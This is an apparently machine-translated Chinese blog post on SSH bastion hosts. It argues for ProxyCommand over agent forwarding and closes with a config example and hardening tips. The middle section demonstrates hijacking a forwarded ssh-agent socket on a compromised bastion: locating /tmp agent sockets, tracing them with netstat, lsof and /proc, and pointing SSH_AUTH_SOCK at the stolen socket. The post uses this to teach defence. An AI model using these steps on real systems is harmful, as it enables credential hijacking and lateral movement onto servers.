我看到了有关ProxyJump的答案。让我们谈谈ProxyCommand。
但是等等,等等!我可以写信给您,介绍如何破解使用代理转发的服务器,这将更容易理解它们之间的区别!
骇客!
基本步骤:您可以在这里阅读我的文章
基本步骤如下:
- 创建堡垒用户
- 禁用root登录
- 阻止黑客入侵
- 变更港口
- 配置防火墙
- 配置SELinux
如何使用AgentForwarding
-在〜/ .ssh / config中创建配置
Host bast
Hostname BASTION_IP
ForwardAgent yes
User bastion
-将身份验证密钥添加到ssh-agent
ssh-add ~/.ssh/name_rsa
-连接到堡垒
ssh bast
-从堡垒连接应用程序服务器
ssh app@IP -p PORT
骇客!
您可能会问我一个问题:
我的服务器安全吗?答案很简单:
为什么?
问题出在哪里呢?
为什么?
- 让我们由内而外地解释一切:当您连接堡垒主机时,您光荣的ssh-agent将被转发。这意味着将设置套接字,以便有人可以使用此套接字数据来访问您的服务器。想象一下您的堡垒服务器已被盗用,如果有人对您的Linux服务器具有足够的权限,他/她将只使用您的套接字信息。结果,可以访问所有服务器。我知道妥协的窗口非常小,因为它取决于您连接到堡垒主机的时间。但是,当您有其他选项(例如ProxyCommand)时,您真的要冒险吗?因此,只需使用ProxyCommand!
如果您破坏了堡垒主机,该如何入侵服务器?
追踪目标
在/ tmp目录中,您可能会看到类似以下内容的内容:
[root@localhost tmp]# ll
total 12
drwx------ 2 bastion bastion 4096 Sep 7 17:35 ssh-mKX88v0Vlo
打开临时文件
[root@localhost tmp]# cd ssh-mKX88v0Vlo/
[root@localhost ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep 7 17:35 agent.10507
让我们看看与此进程ID的连接。
netstat -nxp | grep 10507
结果:
unix [ ] STREAM CONNECTED 501384 10507/sshd: bastion
和谁有联系?
lsof -i -a -p 10507
结果:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 10507 bastion 3u IPv4 501301 0t0 TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)
我们还可以看到套接字文件:
cd /proc/10507/fd/
ls
结果:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
而会发生什么时,客户端将连接到远程服务器?让我们来看看:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
我们甚至可以通过netstat查看是否使用了套接字文件:
unix 3 [ ] STREAM CONNECTED 502267 10561/sshd:
bastion /tmp/ssh-oVoMXC6vb8/agent.10561
unix 3 [ ] STREAM CONNECTED 502072 10561/sshd: bastion
窃取套接字信息和IP地址
现在我们需要在打开堡垒主机会话时窃取套接字信息。哦,我们还需要目标服务器IP,所以只需使用netstat即可:
netstat -tn
使用转发的套接字文件的最后一步
eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507
检查密钥是否已加载。
ssh-add -l
结果应该是这样的:
2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)
服务器被黑客入侵,如何解决安全问题?
代理命令
Host app
Hostname *.*.*.*
IdentityFile ~/.ssh/your_rsa
User *******
Port ****
ProxyCommand ssh -W %h:%p bast
Host bast
Hostname *.*.*.*
ForwardAgent no
User ******
对于基本操作:如何通过服务器传输文件(从客户端到服务器,从服务器到客户端),您可以在此处阅读我的文章
结论
- 如果使用堡垒主机,请不要使用AgentForwarding,而应使用ProxyCommand
- 始终使用非root用户进行身份验证
- 使用防火墙并阻止所有不必要的连接。
- 使用SELinux(通常)
- 阻止尝试使用不正确的凭据多次登录的IP地址
- 如果没有必要,不要给用户sudo权限
- 监控您的服务器
- 更新您的服务器以获取安全补丁
有关更多信息,请参见我的博客。此外,我还有一些screeenshots,因此可能对您有帮助。